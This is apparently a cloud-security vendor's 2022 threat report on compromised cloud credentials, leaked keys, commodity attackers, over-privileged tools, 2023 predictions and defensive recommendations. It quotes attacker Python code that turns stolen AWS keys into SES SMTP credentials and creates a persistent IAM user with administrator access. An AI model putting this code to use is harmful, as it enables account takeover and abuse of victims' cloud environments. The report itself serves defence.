In 2022, Permiso's Cloud Detection & Response platform detected a multitude of different security events across client cloud infrastructure environments. In all cases, the detected suspicious and malicious behavior inside of their cloud environments went undetected by existing threat detection or monitoring tools. All environments were being monitored by traditional security tools such as SIEMs as well as cloud security tooling from CSPM, CIEM, or CNAPP vendors. While everyone is focused on minimizing the risk of a a cloud breach due to misconfigured resources (such as unsecured S3 buckets) none of the incidents we detected and helped respond to involved a misconfigured cloud resource.

All of the incidents we detected and responded to were a result of a compromised credential. Keys, tokens or certificates are often leveraged by bad actors to gain access to sensitive data. This is becoming increasingly more commonplace in API-driven ecosystems such as microservices, serverless and hybrid cloud architectures, and it provides anyone who holds that secret with keys to the castle – the data.

These static, long-lived credentials, like AWS access keys, are getting leaked, sprayed, and sprawled across a variety of development and deployment ecosystems at an alarming rate.  GitGuardian’s 2022 State of Secrets Sprawl found that organizations leaked more than 6 million passwords, API keys, and other sensitive data in 2021, doubling the number from the previous year. Secrets can be easily accessed in code repositories like GitHub or BitBucket, CI systems like Travis or CircleCI, test systems and artifact repositories, as well as data stores, logging systems, or even team collaboration tools, like Slack. They can be reversed from client applications such as android apps.  All of these API-driven ecosystems become potential vectors where secrets are hard coded or leaked on a regular basis.

The reason these attacks often go undetected and usually fly under the radar of most security teams is because most teams have little to no insight into who is actually leveraging the API secrets that have been provisioned. The bearer model enables anyone with a valid API secret to access the data on the other side. Most teams assume that these secrets are only being used by the individuals or workloads they have been provisioned to, but in reality, these secrets are often shared, rarely rotated, are long-lived and not single-use, so just like passwords, they become more vulnerable as they age.

• GitHub is still one of the primary sources for exposed keys. Keys are accidentally getting published to GitHub at a rate faster than AWS is able to quarantine them effectively. Revocation sometimes becomes an arduous task when keys are shared across multiple workloads or machines. This often means downtime for dozens or hundreds of applications or services that may be sharing that compromised key.

• There are a variety of credential types we have discovered exposed, not just AWS Access Keys. The most prominent credentials we discover as part of our research are: AWS, Alibaba, Okta, and Github.

Outside of Github and Pastebin, keys are often embedded in various file types. The file type we have observed the largest amount of credentials in are Android Packages (APKs). The majority of the time the credentials are not obfuscated in any way, and can easily be found. The majority of exposed keys live in three main file types:

• Android Packages (APKs)

• Windows Binaries

• Plain Text Files

Cloud is flooded with commodity threat actors. The good news? Most of these actors are orchestrating broad-scale attacks for the purpose of crypto mining or mass email campaigns. The bad news is they could just as easily be used for far more harmful or damaging activities. After all, a valid key can be used by anyone that has access to it.

As we mentioned previously in this paper, there is no lack of exposed credentials to find in the wild. For the threat actors that don’t want to find them themselves, these keys are often harvested, circulated, and sold in darknet marketplaces, or similar online communities. DarkOwl recently documented the different ways that keys and scanning applications used to scrape keys in Git repositories are being listed across multiple marketplaces.

Our Observations:

• There is no shortage of tooling available to assist threat actors in conducting orchestrated attacks, regardless of their skill level or experience. TeamTNT tooling is publicly available to the masses and often utilized by various individuals and groups to target cloud environments, steal credentials and spin up coin mining operations, for example. For one recent instance of this, read our report on an AWS credential harvesting campaign that utilized such tooling.

• Many threat actors are selling similar tooling for mass email abuse campaigns that take advantage of cloud email solutions such as AWS Simple Email Service (SES), which has been the most targeted Amazon service as of late. You can read more details about how and why threat actors are targeting this service in a recent blog post: SES-pionage.

• Compromised credentials are incredibly easy to find or buy. The ease of accessing these secrets, combined with the accessibility of tooling to assist in leveraging those secrets in a variety of different cloud environments allow for low level commodity actors to orchestrate successful attacks to cloud infrastructure, applications and services which ultimately provides them with unparalleled access to sensitive data across cloud environments. This risk is amplified by the fact that existing tools for detecting compromises in the cloud have not adapted to the new ways in which the cloud is being compromised.

def atsmtp(user,pwd,region,emaile,su):
    try:
        message = "SendRawEmail"
        version = '\x02'
        h = hmac.new(pwd, message, digestmod=hashlib.sha256)
        jembot = base64.b64encode("{0}{1}".format(version, h.digest()))
        open('autocreatesmtp.txt', 'a').write('email-smtp.'+region+'.amazonaws.com|587|'+user+'|'+jembot+'|'+emaile+'|'+str(su)+'\n')
        kirimismtp('email-smtp.'+region+'.amazonaws.com',user,jembot,emaile,DavidBilla)
    except:
        pass
    pass

def goblok(usere,anune,dadine):
    print((birumuda+'[>>] Creating Iam User'+CEND))
    try:
        ACCESS_KEY = usere
        ACCESS_SECRET = anune
        AWS_REGION = dadine
        iam = boto3.client('iam', aws_access_key_id=ACCESS_KEY,aws_secret_access_key=ACCESS_SECRET,region_name=AWS_REGION)
        created_user = iam.create_user(UserName=pubg)
        if created_user['User']['UserName']:
            asu = created_user['User']['Arn'].split(':')
            response = iam.attach_user_policy(UserName = pubg, PolicyArn = 'arn:aws:iam::aws:policy/AdministratorAccess')
            asus = iam.create_login_profile(UserName=pubg, Password=snoopdog)
            print(('STATUS        : '+ijo+'CAN CREATE USER'+CEND))
            print(('ACCOUNT ID    : '+str(asu[4])))
            print(('IAM USERNAME  : '+str(created_user['User']['UserName'])))
            print(('PASSWORD      : '+str(snoopdog)))
            open('login.txt', 'a').write('STATUS        : CAN CREATE USER\nACCOUNT ID    : '+str(asu[4])+'\nIAM USERNAME  : '+str(created_user['User']['UserName'])+'\nPASSWORD      : '+str(snoopdog)+'\n\n')
        else:
            print((abang+'[xx] Failed Creating '+CEND))
    except Exception as e:
        print((abang+'[xx] Failed Creating '+CEND))
    pass

Cloud credentials are almost always over privileged. We find that amongst our clients, on average, over 90% of privileges assigned to identities are never even used. CSPM vendors are big offenders of this. They "require" a very high number of privileges, some of which are sensitive in nature, but use a fraction of the privileges that are available to them. On average CSPM vendors monitored by Permiso are granted over 1500 privileges, and only use 11% (170) of those.

Everyone is over-privileged

Especially CSPMs

Most cloud breaches, like traditional breaches, are rarely discovered by the victim organizations themselves. Cloud provider native tooling, such as GuardDuty and similar solutions, have come a long way, but are still severely lacking in their detection and response capabilities. In almost all incidents we have detected, these native tools and existing SIEM or *DR products either did not detect the suspicious behavior, or they managed to generate so much noise in alerts and notifications, that their customers ignored them, and the incident remained unaddressed for some extended period of time.

Now that we've shared our 2022 observations, let's make some predications on trends we expect to see with respect to cloud threats in 2023:

• Based on the crash in cryptocurrency value in the later half of 2022, cryptomining is not providing the returns it once did.

• It is very likely that cloud attackers will pivot to the tried and true playbook of extortion and ransomware or will sell keys and initial footholds to other threat actors who may have operations targeting specific companies. Selling the credentials into company cloud environments to interested parties will net far larger paydays than mining. The corresponding use of those keys by targeted attackers will be subtler and harder to detect than a cryptomining operation would have been.

• There will be an increase in supply chain attacks via cloud vendors. As noted in our 2022 observations, most cloud vendors (not just cloud security vendors) are extremely overprivileged in their customer environments. This toxic combination of being overprivileged and creating significant noise is a perfect environment for threat actors to hide in. Threat Actors such as APT29 have directly targeted cloud vendors in the past. While incidents like these don’t happen often, when they do they are the most impactful.

• Compromised keys, service tokens, certificates and service accounts will continue to be an elusive problem for security and engineering teams to manage. Secrets managers and tools that scan code repositories, and other environments for leaked secrets (like Truffle Security), will certainly help to better secure these systems’ passwords from falling into the hands of bad actors, but secrets that have already been compromised will continue to allow threat actors with the ability to access sensitive data without being detected.

Recommendations

While our forecast for the near future clearly indicates clouds with chances of thunder, lightning, and other tumultuous weather, here are some practical things you can do to weather the storms in your cloud in 2023:

• Use proper secrets/credential management practices early and often. This means utilizing short-lived credentials as much as possible, not sharing secrets across workloads or environments and utilizing secrets managers where possible. If you have instances where long-lived keys do need to be used, they should be monitored very carefully.

• Monitor any/all activity associated with privileged accounts as they are inherently going to present the highest security risk to your organization.

• (Actually) implement least-privilege wherever possible. This means ensuring other applications and services, even security tools like CSPMs, aren’t granted with privileges that are both overkill or could present security vulnerabilities down the road.